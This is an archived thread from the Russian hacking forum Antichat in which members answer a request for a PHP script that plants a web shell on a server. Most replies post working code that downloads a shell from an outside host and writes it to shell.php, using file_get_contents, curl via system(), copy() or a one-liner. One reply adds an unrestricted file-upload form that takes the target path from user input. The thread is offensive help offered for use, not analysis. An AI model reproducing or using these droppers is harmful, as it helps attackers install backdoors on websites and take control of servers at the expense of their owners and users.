Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   PhP скрипт заливающий шелл (https://forum.antichat.xyz/showthread.php?t=57969)

CyBeR_MaE$tR0 09.01.2008 17:55

PhP скрипт заливающий шелл
 
:)

Macro 09.01.2008 18:03

Цитата:

Сообщение от CyBeR_MaE$tR0
Прошу помощи, т.к. никак не могу сделатЬ, пхп скрипт, при запуске которого, с серванты бы скачивался файл, в туже папку откуда запущен скрипт, и переименовывался в shell.php.
очень надо
заранее благодарен

PHP код:

<?
$shell
=file_get_contents('http://server/shell.txt') or die('can\'t download shell');
$fp=fopen('shell.php','wb') or die('can\'t fopen()');
fwrite($fp,$shell);
fclose($fp);
?>


А®ТеS 09.01.2008 18:07

Если ОС никсы и SAFE_MOD=OFF и установлен CURL, то можно так:
PHP код:

<?php
system
("CURL http://site.ru/shell.txt > shell.php");
?>

Также можно поизвращаться с WGET.
А вообще самый правильный вариант, это что предложил Macro :).

AkyHa_MaTaTa 09.01.2008 18:17

или так(уже с формой, может я тебя не правильно понял):
PHP код:

$path $_SERVER['DOCUMENT_ROOT'];
$uplouder = <<<HERE
<html><head><META http-equiv=Content-Type content="text/html; charset=windows-1251">
<title> Загрузка файлов на сервер </title></head>
<body>
<h2><b> Форма для загрузки файлов </b></h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
Путь к файлу на сервере
<input type="text" name="new_path" value = 
$path><br>
Имя файла на сервере
<input type="text" name="new_name" value = "uploud.php"><br>
<input type="file" name="filename"><br>
<input type="submit" value="3aгpyзитьтb"><br>
</form>
</body>
</html>
HERE;
$uploadfile= @$_POST['new_path'] . "/" . @$_POST['new_name'];
if (
move_uploaded_file(@$_FILES['filename']['tmp_name'], $uploadfile))
{
echo 
"Файл успешно загруженн, он доступен по этому пути:" $uploadfile ;
}
else 
{
echo 
$uplouder;



ZEXEL 13.01.2008 10:33

Да что так заливать шелл сложно на форум - нет смысла переименовывать, так как php файл на форум же залить сложно

keeberg 13.01.2008 11:02

PHP код:

<body bgcolor="EEEEFF">
<font color="red">
<center><h1>


<?php 
$ok 
"Чувак! Ты залил шелл, на этот сервак! :)";
$no "Облом!!! нету прав на запись.";
if(
copy("http://www.pr0gram.nm.ru/shell.php""./shell.php")) echo "$ok"; else echo "$no";
 
?>


</h1><center>
</font>


X-FRITS 17.07.2009 20:05

сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
PHP код:

file_put_contents('shell.php',file_get_contents('http://site.com/shell.txt')); 

Работает везде.

_==wolf==_ 17.07.2009 20:54

эмм. а что такое серванты?

FireFenix 17.07.2009 21:15

от слова сервер

PaCo 17.07.2009 23:06

Цитата:

Сообщение от X-FRITS
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
PHP код:

file_put_contents('shell.php',file_get_contents('http://site.com/shell.txt')); 

Работает везде.

угу а еще copy('http://site.com/shell.txt','shell.php'); и еще 5 тысыч способов, я б минусовал за такое ей богу :mad: .


Время: 05:45